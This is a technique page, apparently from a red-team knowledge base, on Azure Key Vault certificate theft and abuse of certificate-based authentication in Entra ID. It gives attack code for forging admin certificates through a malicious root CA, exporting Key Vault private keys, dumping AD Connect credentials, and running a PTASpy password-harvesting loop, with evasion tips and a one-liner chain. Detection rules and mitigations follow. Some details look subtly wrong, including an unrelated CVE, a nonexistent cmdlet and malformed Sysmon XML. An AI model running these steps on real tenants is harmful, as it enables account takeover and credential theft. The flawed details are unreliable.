MCADDF

[CERT-AZURE-001]: Azure Key Vault Certificate Theft

1. METADATA HEADER

Attribute Details
Technique ID CERT-AZURE-001
MITRE ATT&CK v18.1 T1649 - Steal or Forge Authentication Certificates
Tactic Credential Access
Platforms Entra ID, Azure
Severity Critical
CVE CVE-2023-28432 (Related to cloud credential exposure patterns)
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Azure all versions, Entra ID all versions
Patched In N/A - Mitigation only, no vulnerability patch
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Azure Key Vault Certificate Theft involves attackers extracting or abusing digital certificates stored in Azure Key Vault to establish persistent, passwordless authentication to Entra ID and Azure resources. This technique leverages Certificate-Based Authentication (CBA) to bypass traditional password-based security controls, including multi-factor authentication (MFA), enabling lateral movement and persistence in hybrid and cloud environments.

Attack Surface: Azure Key Vault (certificate endpoints), Entra ID authentication methods, Azure Resource Manager (ARM) APIs, and the managed identity credential chain.

Business Impact: Critical - Full Environment Compromise. An attacker exploiting this technique gains the ability to authenticate as any user in the Entra ID tenant, including Global Administrators, without requiring passwords or MFA, leading to complete compromise of Azure, Microsoft 365, and all federated applications. This enables data exfiltration, ransomware deployment, persistent backdoor installation, and regulatory compliance violations (GDPR, HIPAA, PCI-DSS fines up to 4% of annual revenue).

Technical Context: The technique requires either high-level Azure permissions (to enable CBA and upload malicious Root CAs) or direct access to Key Vault with certificate export permissions. Once a certificate is forged or stolen, it remains valid until certificate expiration, making password resets ineffective. Organizations with improper Conditional Access policies or disabled certificate validation enforcement are particularly vulnerable.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.1.1 Ensure Azure AD multi-factor authentication is enabled for all users in administrative roles
DISA STIG U-19045 Azure must enforce certificate-based authentication for sensitive accounts
CISA SCuBA AC-2 Azure AD Account and Access Management
NIST 800-53 IA-5 Authentication - Certificate-based authentication with strong controls
NIST 800-53 AC-3 Access Enforcement - Restrict certificate issuance to authorized principals
GDPR Art. 32 Security of Processing - Cryptographic key and certificate management
DORA Art. 9 Protection and Prevention - Secure authentication controls
NIS2 Art. 21 Cyber Risk Management Measures - Identity and Access Controls
ISO 27001 A.9.2.3 Management of Privileged Access Rights (certificate-based credentials)
ISO 27005 Risk Assessment Risk to “Compromise of Administration Interface via Certificates”

3. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Azure Portal Reconnaissance (GUI-Based)

Identify Entra ID CBA Configuration Status:

  1. Navigate to Azure PortalEntra IDSecurityAuthentication Methods
  2. Look for Certificate-based authentication entry
  3. Check if it is Enabled or Disabled
  4. If Enabled, note the Certificate Authority root certificates and the Linked Users/Groups

What to Look For:

Identify Azure Key Vault Certificates:

  1. Navigate to Azure PortalKey Vaults → Select target Key Vault
  2. Go to Certificates (left menu)
  3. Note all certificate names, expiration dates, and Subject Alternative Names (SANs)
  4. Certificates with Client Authentication EKU are valuable targets

What to Look For:

PowerShell Reconnaissance

Check Current User Permissions on Key Vault:

# Connect to Azure
Connect-AzAccount

# List all Key Vaults the current user can access
Get-AzKeyVault

# Check permissions on a specific Key Vault
$vaultName = "YourKeyVaultName"
$vault = Get-AzKeyVault -VaultName $vaultName

# Get all certificates
$certificates = Get-AzKeyVaultCertificate -VaultName $vaultName
$certificates | Select-Object Name, Expires, Id

# Attempt to export a certificate (will show if export is allowed)
Try {
    Get-AzKeyVaultCertificate -VaultName $vaultName -Name "SensitiveCert" | Export-AzKeyVaultCertificate -FilePath "C:\Temp\test.pfx"
    Write-Host "Export ALLOWED - You have permission"
} Catch {
    Write-Host "Export DENIED - Error: $_"
}

What to Look For:

Check Entra ID Authentication Methods Configuration (Requires Directory.Read.All):

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Directory.Read.All"

# Check if Certificate-Based Authentication is enabled
$authMethods = Get-MgIdentityAuthenticationMethodPolicy

# Retrieve CBA configuration
$cbaConfig = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/identity/authenticationMethods/certificateBasedAuthConfig"

# Output the Root CA certificates (if CBA is enabled)
$cbaConfig.trustedCertificateAuthorities | Select-Object CertificateThumbprint, DisplayName, IsActive

What to Look For:

Azure CLI Reconnaissance

List Key Vaults and Certificates:

# List all Key Vaults
az keyvault list --output table

# List certificates in a specific Key Vault
az keyvault certificate list --vault-name YourKeyVaultName --output table

# Get details of a specific certificate
az keyvault certificate show --vault-name YourKeyVaultName --name CertificateName

Check Certificate-Based Authentication:

# Retrieve CBA configuration (requires appropriate Graph permissions)
az rest --method get --url "https://graph.microsoft.com/beta/identity/authenticationMethods/certificateBasedAuthConfig" --output json

5. DETAILED EXECUTION METHODS

METHOD 1: Enable Certificate-Based Authentication & Forge Certificates (GUI + PowerShell)

Objective: Enable CBA in the tenant, upload a malicious Root CA certificate, and forge valid authentication certificates to impersonate admin users.

Supported Versions: All versions of Entra ID and Azure

Prerequisite Permissions Required:

Step 1: Enable Certificate-Based Authentication in Entra ID

Manual Steps (Azure Portal):

  1. Log in to Azure Portal (https://portal.azure.com)
  2. Navigate to Entra ID (left panel) → SecurityAuthentication Methods
  3. Click on Certificate-based authentication
  4. Toggle Status to Enabled
  5. Under Users/Groups, select All users (or specific groups)
  6. Click Save

Expected Output:

"Authentication method policy updated successfully"

What This Means:

OpSec & Evasion:

Troubleshooting:


Step 2: Create or Obtain a Root CA Certificate

Objective: Obtain or generate a certificate that will be used to sign forged authentication certificates. This certificate must be added to Entra ID’s trusted Root CAs.

Manual Steps (Linux - Using OpenSSL):

# Generate a self-signed Root CA certificate (valid for 10 years)
# This mimics a legitimate Certificate Authority

openssl genrsa -out ca_key.pem 2048
openssl req -new -x509 -days 3650 -key ca_key.pem -out ca_cert.pem \
    -subj "/CN=Contoso Company Root CA/O=Contoso/C=US"

# Convert to PFX format (Azure requires PFX for upload)
openssl pkcs12 -export -out ca_cert.pfx -inkey ca_key.pem -in ca_cert.pem \
    -password pass:YourPassword123

Expected Output:

ca_cert.pfx (PFX file containing both certificate and private key)
ca_cert.pem (Public certificate only)

What This Means:

OpSec & Evasion:


Step 3: Upload the Malicious Root CA to Entra ID’s Trusted CAs

Objective: Register the malicious Root CA so that certificates signed by it are trusted by Entra ID.

Manual Steps (PowerShell):

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Directory.ReadWrite.All", "Organization.ReadWrite.All"

# Upload the Root CA certificate
$certPath = "C:\temp\ca_cert.pem"
$certContent = Get-Content -Path $certPath -Raw

# Add the certificate to the CBA trusted list
$body = @{
    displayName = "Contoso Malicious Root CA"
    certificate = $certContent
    isActive = $true
} | ConvertTo-Json

$response = Invoke-MgGraphRequest -Method POST `
    -Uri "https://graph.microsoft.com/beta/identity/authenticationMethods/certificateBasedAuthConfig/trustedCertificateAuthorities" `
    -Body $body `
    -ContentType "application/json"

Write-Host "Root CA uploaded successfully: $($response.Id)"

Expected Output:

Root CA uploaded successfully: ccb4c4c4-1234-1234-1234-cccccccccccc

What This Means:

OpSec & Evasion:


Step 4: Create Forged Authentication Certificates for Target Users

Objective: Generate certificates that impersonate high-value target users (e.g., Global Admins).

Manual Steps (Using AADInternals):

# Import the AADInternals module (install if needed)
Install-Module AADInternals -Force
Import-Module AADInternals

# Load the private key from the PFX file
$pfxPath = "C:\temp\ca_cert.pfx"
$pfxPassword = ConvertTo-SecureString -String "YourPassword123" -AsPlainText -Force
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 ($pfxPath, $pfxPassword)

# Get the target user's ImmutableId (unique identifier in hybrid scenarios)
# For cloud-only users, you can use the UPN directly
$targetUser = "admin@contoso.onmicrosoft.com"
$immutableId = "XXXXXXXX" # Obtain from Azure AD (on-premises sync required)
$issuerUri = "https://adfs.contoso.com/adfs/services/trust"

# Create a forged authentication certificate
$forgedCert = New-AADIntCertificate `
    -UserPrincipalName $targetUser `
    -ImmutableId $immutableId `
    -IssuerUri $issuerUri `
    -CAKeyPath $cert

# Export the certificate to PFX
$forgedCert | Export-PfxCertificate -FilePath "C:\temp\forged_admin.pfx" `
    -Password (ConvertTo-SecureString "ForgedPassword123" -AsPlainText -Force)

Expected Output:

Certificate successfully created: admin@contoso.onmicrosoft.com
Exported to: C:\temp\forged_admin.pfx

What This Means:

OpSec & Evasion:


Step 5: Use the Forged Certificate for Authentication

Objective: Authenticate to Azure and Microsoft 365 using the forged certificate, bypassing password and MFA.

Manual Steps (Linux - Using curl + OpenSSL):

# Convert the PFX to PEM format for use with curl
openssl pkcs12 -in forged_admin.pfx -out forged_admin.pem -nodes \
    -password pass:ForgedPassword123

# Authenticate to Azure using certificate-based authentication
curl -X POST https://login.microsoftonline.com/common/oauth2/v2.0/token \
    --cert forged_admin.pem \
    --cert-type PEM \
    -d "client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46" \
    -d "scope=https://management.azure.com/.default" \
    -d "grant_type=client_credentials"

Expected Output:

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
  "expires_in": 3599,
  "token_type": "Bearer"
}

What This Means:

OpSec & Evasion:

Troubleshooting:


METHOD 2: Extract Certificates from Azure Key Vault

Objective: Extract existing certificates (with private keys) from a Key Vault to use for authentication or signing attacks.

Supported Versions: All versions of Azure Key Vault

Prerequisite Permissions Required:

Step 1: Enumerate Key Vault Certificates

Manual Steps (PowerShell):

# Connect to Azure
Connect-AzAccount

# Get list of Key Vaults
$vaults = Get-AzKeyVault
Write-Host "Found $($vaults.Count) Key Vaults"

# For each vault, list certificates
foreach ($vault in $vaults) {
    Write-Host "`nVault: $($vault.VaultName)"
    
    $certs = Get-AzKeyVaultCertificate -VaultName $vault.VaultName
    foreach ($cert in $certs) {
        Write-Host "  - $($cert.Name) | Expires: $($cert.Expires) | Thumbprint: $($cert.Thumbprint)"
    }
}

Expected Output:

Vault: prod-kv-001
  - ssl-cert-contoso | Expires: 12/31/2025 | Thumbprint: ABC123DEF456...
  - app-auth-cert | Expires: 06/15/2027 | Thumbprint: XYZ789PQR321...

Vault: dev-kv-001
  - legacy-cert | Expires: 01/30/2026 | Thumbprint: QWE456RTY789...

What to Look For:


Step 2: Export Certificates with Private Keys

Objective: Download the certificate including its private key from the Key Vault.

Manual Steps (PowerShell):

# Define the target certificate
$vaultName = "prod-kv-001"
$certName = "app-auth-cert"

# Download the certificate (without private key first)
$cert = Get-AzKeyVaultCertificate -VaultName $vaultName -Name $certName

# To get the private key, we need to retrieve the secret version
# The secret version matches the certificate version
$secretVersion = $cert.Version
$secret = Get-AzKeyVaultSecret -VaultName $vaultName -Name $certName -Version $secretVersion -AsPlainText

# Convert the secret to PFX (it's typically stored as base64-encoded PFX)
$pfxBytes = [Convert]::FromBase64String($secret)
$pfxPath = "C:\temp\stolen-$certName.pfx"
[System.IO.File]::WriteAllBytes($pfxPath, $pfxBytes)

Write-Host "Certificate exported to: $pfxPath"

Expected Output:

Certificate exported to: C:\temp\stolen-app-auth-cert.pfx

What This Means:

OpSec & Evasion:

Troubleshooting:


Step 3: Use the Stolen Certificate for Persistence

Objective: Authenticate using the stolen certificate to maintain persistent access.

Manual Steps (Using Azure CLI):

# Convert PFX to PEM format
openssl pkcs12 -in stolen-app-auth-cert.pfx -out stolen-cert.pem -nodes

# Authenticate as the service principal using the certificate
az login --service-principal \
    -u "CLIENT_ID" \
    -p stolen-cert.pem \
    --tenant "TENANT_ID"

# List accessible resources
az resource list --output table

# Export all Key Vaults and their secrets (for data exfiltration)
az keyvault secret list --vault-name "prod-kv-001" --output table

Expected Output:

Name                            Kind    Value
──────────────────────────────  ──────  ─────────────
sql-admin-password              secret  ****
api-key-stripe                  secret  ****
db-connection-string            secret  ****

What This Means:


METHOD 3: Exploit Azure AD Connect to Extract Certificates

Objective: Compromise an Azure AD Connect server to extract its synchronization account credentials and service principal certificate.

Supported Versions: All versions of Azure AD Connect

Prerequisite Permissions Required:

Step 1: Identify Azure AD Connect Servers

Manual Steps (PowerShell - On compromised server):

# Check if Azure AD Connect is installed
Get-WmiObject -Class Win32_Product | Where-Object { $_.Name -like "*Azure AD Connect*" }

# Locate the AD Connect installation directory
$adConnectPath = "C:\Program Files\Microsoft Azure AD Connect"
if (Test-Path $adConnectPath) {
    Write-Host "Azure AD Connect found at: $adConnectPath"
    Get-ChildItem $adConnectPath -Recurse | Where-Object { $_.Name -like "*cert*" -or $_.Name -like "*pfx*" }
}

What to Look For:


Step 2: Extract AD Connect Synchronization Credentials

Objective: Export the plaintext credentials of the AD DS Connector account and the Azure AD Connector account.

Manual Steps (PowerShell - Admin required):

# Import AADInternals module
Import-Module AADInternals

# Extract the synchronization credentials (requires local admin on AD Connect server)
$syncCreds = Get-AADIntSyncCredentials

# Output the credentials
Write-Host "AD Connector Account: $($syncCreds.ADConnectorAccount)"
Write-Host "AD Connector Password: $($syncCreds.ADConnectorPassword)"
Write-Host "Azure AD Connector Account: $($syncCreds.AzureADConnectorAccount)"
Write-Host "Azure AD Connector Password: $($syncCreds.AzureADConnectorPassword)"

# If the Azure AD Connector account is a Global Admin, this is a critical finding
if ($syncCreds.AzureADConnectorAccount -like "*admin*") {
    Write-Host "[!] CRITICAL: AD Connect service account has Global Admin rights!"
}

Expected Output:

AD Connector Account: contoso.local\ADSync_12345
AD Connector Password: P@ssw0rd!Secure123
Azure AD Connector Account: Sync_ADConnect@contoso.onmicrosoft.com
Azure AD Connector Password: AzureP@ssw0rd!Secure456
[!] CRITICAL: AD Connect service account has Global Admin rights!

What This Means:


METHOD 4: Exploit Azure AD Connect Certificate for PTA (Pass-Through Authentication) Backdoor

Objective: Extract the PTA (Pass-Through Authentication) agent certificate and create a backdoor agent.

Supported Versions: Azure AD Connect with PTA enabled

Step 1: Export PTA Agent Certificates and Bootstrap

Manual Steps (PowerShell - On AD Connect server):

# Import AADInternals
Import-Module AADInternals

# Export the PTA agent certificate
$ptaCert = Export-AADIntProxyAgentCertificates
$ptaCert | Save-Object -Path "C:\temp\pta_cert.pfx"

# Export the PTA bootstrap (used to register new agents)
$ptaBoot = Export-AADIntProxyAgentBootstraps
$ptaBoot | Save-Object -Path "C:\temp\pta_bootstrap.bin"

Write-Host "PTA certificates and bootstrap exported"

Expected Output:

PTA certificates and bootstrap exported

What This Means:


Step 2: Install Malicious PTA Agent on Attacker Machine

Objective: Register a fake PTA agent to intercept authentication requests.

Manual Steps (PowerShell - On attacker machine):

# Import AADInternals
Import-Module AADInternals

# Set up the malicious PTA agent using the stolen certificate
Set-AADIntPTACertificate -Certificate $ptaCert -Bootstrap $ptaBoot

# Inject PTASpy DLL for credential harvesting
Install-AADIntPTASpy

# Start harvesting credentials
While ($true) {
    $log = Get-AADIntPTASpyLog
    if ($log) {
        Write-Host "[!] Captured credentials:"
        $log | ForEach-Object { Write-Host "  User: $($_.username) | Password: $($_.password)" }
    }
    Start-Sleep -Seconds 5
}

What This Means:

OpSec & Evasion:


6. TOOLS & COMMANDS REFERENCE

AADInternals PowerShell Module

Version: Latest (regularly updated) Minimum Version: 0.6.0 (for CBA support) Supported Platforms: Windows PowerShell 5.1+, PowerShell 7.0+ Core (cross-platform)

Installation:

# Install from PowerShell Gallery
Install-Module AADInternals -Force

# Or clone from GitHub
git clone https://github.com/Gerenios/AADInternals.git
Import-Module .\AADInternals\AADInternals.psd1

Critical Functions:


Azure PowerShell (Az module)

Version: 8.0+ Minimum Version: 3.0.0 Supported Platforms: Windows, Linux, macOS

Installation:

Install-Module Az -Repository PSGallery -Force

Critical Cmdlets:


Azure CLI

Version: 2.30.0+ Installation:

# Windows
msiexec.exe /I Azure CLI.msi

# Linux/macOS
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

One-Liner: Full Attack Chain

# Complete attack chain (requires prerequisites)
$vaultName="prod-kv-001"; $certName="app-auth-cert"; 
$secret=(Get-AzKeyVaultSecret -VaultName $vaultName -Name $certName -AsPlainText);
$pfx=[Convert]::FromBase64String($secret); [IO.File]::WriteAllBytes("C:\temp\stolen.pfx",$pfx);
"[+] Certificate stolen to C:\temp\stolen.pfx"

7. SPLUNK DETECTION RULES

Rule 1: Suspicious Azure Key Vault Certificate Export

Rule Configuration:

SPL Query:

index=azure_audit_logs OperationName IN ("Download certificate", "Get Certificate", "GetSecret") 
ResultDescription != "Forbidden" 
| stats count by InitiatedBy, CallerIpAddress, OperationName, ResourceId 
| where count > 0

What This Detects:

Manual Configuration Steps (Splunk):

  1. Log into Splunk Web → SettingsSearches, reports, and alerts
  2. Click + New Alert
  3. Paste the SPL query above
  4. Set Trigger Condition to count > 0
  5. Configure Alert Action → Email to SOC team with details

Rule 2: Certificate-Based Authentication Enabled in Entra ID

Rule Configuration:

SPL Query:

index=azure_audit_logs (OperationName="Update authentication method policy" OR OperationName="Add trusted certificate authority") Result="Success" 
| stats count, latest(_time) as LastSeen by InitiatedBy.user, CallerIpAddress, OperationName 
| where count >= 1

What This Detects:


Rule 3: Forged Certificate Authentication Sign-ins

Rule Configuration:

SPL Query:

index=azure_audit_logs source="SigninLogs" AuthenticationDetails LIKE "%Certificate%" 
| stats count by UserPrincipalName, ClientAppUsed, IPAddress, AuthenticationDetails 
| where (date_mdy(NOW()) - strptime(_time, "%Y-%m-%d")) > 2 OR IPAddress NOT IN ("COMPANY_IP_RANGE")

What This Detects:


8. MICROSOFT SENTINEL DETECTION

Query 1: Certificate-Based Authentication Configuration Changes

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName in ("Update authentication method policy", "Add trusted certificate authority", "Set federation settings")
| where Result == "Success"
| project TimeGenerated, InitiatedBy, OperationName, TargetResources, CallerIpAddress, CorrelationId
| summarize AuthenticationChanges = dcount(OperationName) by InitiatedBy.user, CallerIpAddress
| where AuthenticationChanges > 1

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → AnalyticsCreateScheduled query rule
  3. General Tab:
    • Name: Suspicious Certificate-Based Authentication Configuration
    • Severity: High
  4. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from last: 1 hour
  5. Incident settings Tab:
    • Enable Create incidents
  6. Click Review + create

Query 2: Forged Certificate Sign-ins to Azure Management APIs

Rule Configuration:

KQL Query:

SigninLogs
| where AuthenticationDetails has "Certificate"
| where AppDisplayName in ("Azure Management API", "Microsoft Graph", "Azure Resource Manager")
| where UserPrincipalName contains "@onmicrosoft.com"  // Cloud-only user
| project TimeGenerated, UserPrincipalName, AppDisplayName, AuthenticationDetails, ClientAppUsed, IPAddress, ResourceIdentity
| join kind=inner (AuditLogs 
  | where OperationName == "Add trusted certificate authority"
  | project TimeGenerated1=TimeGenerated, AddedCert=TargetResources
) on $left.TimeGenerated > $right.TimeGenerated

What This Detects:


Query 3: Key Vault Certificate Export Attempts

Rule Configuration:

KQL Query:

AzureDiagnostics
| where ResourceType == "VAULTS"
| where OperationName in ("SecretGet", "CertificateGet")
| where ResultSignature == "OK" or ResultSignature == "200"
| project TimeGenerated, OperationName, Identity, ResourceId, CallerIpAddress
| summarize ExportCount = count(), UniqueVaults = dcount(ResourceId) by Identity, CallerIpAddress
| where ExportCount > 5

Manual Configuration Steps (PowerShell):

# Create KQL alert rule via PowerShell
$resourceGroup = "MyResourceGroup"
$workspaceName = "MySentinelWorkspace"
$ruleName = "Suspicious Key Vault Certificate Exports"

New-AzSentinelAlertRule -ResourceGroupName $resourceGroup `
  -WorkspaceName $workspaceName `
  -DisplayName $ruleName `
  -Query @"
AzureDiagnostics
| where ResourceType == "VAULTS"
| where OperationName in ("SecretGet", "CertificateGet")
| where ResultSignature == "OK"
| summarize ExportCount = count() by Identity, CallerIpAddress
| where ExportCount > 5
"@ `
  -Severity "High" `
  -Enabled $true

9. WINDOWS EVENT LOG MONITORING

Event ID: 4887 (Certificate Services approved a certificate request and issued a certificate)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationAudit PoliciesObject Access
  3. Enable: Audit Certification Services
  4. Set to: Success and Failure
  5. Run gpupdate /force on target machines

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security SettingsAdvanced Audit Policy ConfigurationAudit PoliciesSystem Audit PoliciesObject Access
  3. Enable: Audit Certification Services

10. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows

<!-- Detect AADInternals or certificate extraction tools -->
<Sysmon schemaversion="4.22">
  <EventFiltering>
    <!-- Monitor for Mimikatz or AADInternals execution -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains any">powershell.exe -NoProfile -NonInteractive -Hidden;New-AADIntCertificate;Export-AADIntProxyAgentCertificates;Get-AADIntSyncCredentials;AADInternals</CommandLine>
    </ProcessCreate>
    
    <!-- Monitor for certificate export operations -->
    <RegistryEvent onmatch="include">
      <TargetObject condition="contains">\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Certificates</TargetObject>
    </RegistryEvent>
    
    <!-- Monitor for CryptoAPI certificate extraction -->
    <Process onmatch="include">
      <Image condition="contains">certutil.exe;certmgr.exe</Image>
    </Process>
  </EventFiltering>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Save the XML above to sysmon-config.xml
  3. Install Sysmon with the config:
    sysmon64.exe -accepteula -i sysmon-config.xml
    
  4. Verify installation:
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
    

11. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Suspicious Key Vault Access

Alert Name: “Unusual access to Key Vault detected”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Storage: ON (for Key Vault)
  5. Click Save
  6. Go to Security alerts → Filter by “Key Vault”

12. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Certificate-Based Authentication Changes

# Connect to Exchange Online
Connect-ExchangeOnline

# Search for CBA-related operations
Search-UnifiedAuditLog -Operations "Update authentication method policy", "Add trusted certificate authority" `
  -StartDate (Get-Date).AddDays(-30) `
  -EndDate (Get-Date) | Export-Csv -Path "C:\audit_cba.csv"

# Search for key vault certificate exports
Search-UnifiedAuditLog -Operations "SecretGet", "CertificateGet" `
  -StartDate (Get-Date).AddDays(-7) | Export-Csv -Path "C:\audit_keyvault.csv"

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for log retention

13. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Mitigation 1: Disable Certificate-Based Authentication (if not required)

Entra ID CBA should only be enabled for organizations that explicitly need it. Most organizations should keep it disabled.

Manual Steps (Azure Portal):

  1. Go to Azure PortalEntra IDSecurityAuthentication Methods
  2. Click on Certificate-based authentication
  3. Toggle Status to Disabled
  4. Click Save

Manual Steps (PowerShell):

Connect-MgGraph -Scopes "Directory.ReadWrite.All"

# Disable CBA
$body = @{
    isEnabled = $false
} | ConvertTo-Json

Invoke-MgGraphRequest -Method PATCH `
    -Uri "https://graph.microsoft.com/beta/identity/authenticationMethods/certificateBasedAuthConfig" `
    -Body $body

Validation Command:

# Verify CBA is disabled
$cbaConfig = Invoke-MgGraphRequest -Method GET `
    -Uri "https://graph.microsoft.com/beta/identity/authenticationMethods/certificateBasedAuthConfig"

if ($cbaConfig.isEnabled -eq $false) {
    Write-Host "[✓] CBA is DISABLED - Good!"
} else {
    Write-Host "[!] CBA is ENABLED - Review required"
}

Mitigation 2: Enforce Conditional Access for Certificate-Based Sign-ins

If CBA must be enabled, enforce MFA and device compliance.

Manual Steps (Azure Portal):

  1. Go to Azure PortalEntra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Require MFA for Certificate-Based Auth
  4. Assignments:
    • Users: All users
    • Cloud apps: All cloud apps
  5. Conditions:
    • Client apps: Mobile apps and desktop clients, Exchange ActiveSync clients, Modern authentication clients
    • Authentication context: Certificate-based authentication (if available)
  6. Access controls:
    • Grant: Require multifactor authentication
  7. Enable policy: On
  8. Click Create

Mitigation 3: Restrict Key Vault Access with Least Privilege

Only grant certificate export permissions to accounts that genuinely need them.

Manual Steps (Azure Portal):

  1. Go to Azure PortalKey Vaults → Select vault
  2. Go to Access Control (IAM)
  3. Click + AddAdd role assignment
  4. Role: Key Vault Certificates Officer (or Custom Role with minimal permissions)
  5. Members: Select only required service principals/users
  6. Click Review + assign

Manual Steps (PowerShell):

$vaultName = "prod-kv-001"
$resourceGroup = "MyResourceGroup"
$principalId = "12345678-1234-1234-1234-123456789012"  # Service Principal ObjectId

# Assign minimal permissions
New-AzRoleAssignment -ResourceGroupName $resourceGroup `
  -ResourceName $vaultName `
  -ResourceType "Microsoft.KeyVault/vaults" `
  -RoleDefinitionName "Key Vault Secrets Officer" `
  -ObjectId $principalId

Mitigation 4: Enable Key Vault Logging and Monitoring

Manual Steps (Azure Portal):

  1. Go to Azure PortalKey Vaults → Select vault
  2. Go to Diagnostic settings
  3. Click + Add diagnostic setting
  4. Name: KeyVault-Audit-Logs
  5. Logs: Check AuditEvent (certificate access)
  6. Metrics: Check All Metrics
  7. Destination details: Select Log Analytics workspace
  8. Click Save

Priority 2: HIGH

Mitigation 5: Restrict Root CA Uploads to Global Admins Only

Ensure only Global Administrators can add trusted certificate authorities.

Manual Steps (PowerShell):

# Retrieve the current CBA config
$cbaConfig = Invoke-MgGraphRequest -Method GET `
    -Uri "https://graph.microsoft.com/beta/identity/authenticationMethods/certificateBasedAuthConfig"

# Review the trustedCertificateAuthorities list
$cbaConfig.trustedCertificateAuthorities | Select-Object @{Label="CA Name"; Expression={"$($_.displayName)"}}, CertificateThumbprint

# Remove any suspicious CAs
# (Manual review and deletion required - no bulk removal API available)

Mitigation 6: Migrate Azure AD Connect to Cloud Sync (if possible)

Azure AD Connect is a high-value target. Cloud Sync reduces the attack surface.

Manual Steps (Azure Portal):

  1. Go to Azure PortalEntra IDCloud Sync
  2. Click + New Configuration
  3. Follow the wizard to configure cloud-based synchronization
  4. Decommission on-premises Azure AD Connect servers

14. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Registry Keys:

Files:

Network:

Cloud (Entra ID/Azure):

Forensic Artifacts

Memory:

Disk:

Azure/Cloud:

Response Procedures

1. Immediate Isolation:

# Disable CBA immediately
Invoke-MgGraphRequest -Method PATCH `
    -Uri "https://graph.microsoft.com/beta/identity/authenticationMethods/certificateBasedAuthConfig" `
    -Body (@{ isEnabled = $false } | ConvertTo-Json)

# Remove malicious Root CAs
# (Requires manual identification and deletion)

2. Collect Evidence:

# Export all authentication-related audit logs
Search-UnifiedAuditLog -Operations "Update authentication method policy" -StartDate (Get-Date).AddDays(-90) | Export-Csv "C:\forensics\auth_logs.csv"

# Export Key Vault certificate access logs
Search-UnifiedAuditLog -Operations "SecretGet", "CertificateGet" -StartDate (Get-Date).AddDays(-90) | Export-Csv "C:\forensics\keyvault_logs.csv"

# Collect sign-in logs
Connect-MgGraph -Scopes "Directory.Read.All"
Get-MgAuditLogSignIn -Filter "createdDateTime gt $(Get-Date).AddDays(-90)" | Export-Csv "C:\forensics\signin_logs.csv"

3. Revoke Compromised Certificates:

# List all certificates in Key Vaults
Get-AzKeyVault | ForEach-Object { Get-AzKeyVaultCertificate -VaultName $_.VaultName }

# Revoke suspicious certificates (requires CA access)
# Contact the issuing CA to revoke the certificate by thumbprint

4. Remediate:

# Reset passwords for all Global Admins and service principals
# Revoke all active sessions
# Enable MFA enforcement
# Review and restrict all app role assignments

# Re-enable CBA with strict Conditional Access policies
# Upload new, legitimate Root CAs (if needed)

Step Phase Technique Description
1 Initial Access [CA-TOKEN-001] Hybrid AD cloud token theft Attacker obtains initial credentials via Azure AD Connect compromise
2 Privilege Escalation [PE-ACCTMGMT-001] App Registration Permissions Escalation Service principal is escalated to Directory.ReadWrite.All
3 Current Step [CERT-AZURE-001] Azure Key Vault Certificate Theft / CBA Abuse
4 Persistence [CERT-M365-001] M365 Certificate Management Abuse Attacker steals additional certificates from Key Vault
5 Lateral Movement [CERT-FEDERATION-001] Federation Certificate Manipulation Attacker forges federation certificates to compromise on-premises AD
6 Impact [Data Exfiltration via Microsoft Graph] Attacker uses compromised certificates to exfiltrate all tenant data

16. REAL-WORLD EXAMPLES

Example 1: APT29 (Midnight Blizzard) - SolarWinds Supply Chain Attack (2020)


Example 2: Semperis Research - CBA Privilege Escalation (2022-2024)


Example 3: Datadog Research - Federated Domain Escalation (2025)


SUMMARY

CERT-AZURE-001: Azure Key Vault Certificate Theft is a CRITICAL attack technique that enables persistent, passwordless access to Entra ID and Azure environments. Organizations must:

  1. Disable CBA unless explicitly required
  2. Monitor certificate-related operations in Key Vault and Entra ID
  3. Enforce Conditional Access policies requiring MFA for certificate-based sign-ins
  4. Restrict Key Vault access to minimal required principals
  5. Enable logging on all authentication method changes
  6. Audit and remove any suspicious Root CAs from the trusted list

The absence of visible evidence in traditional logs (password hash capture, process execution) makes this attack particularly dangerous and difficult to detect without dedicated certificate and identity logging.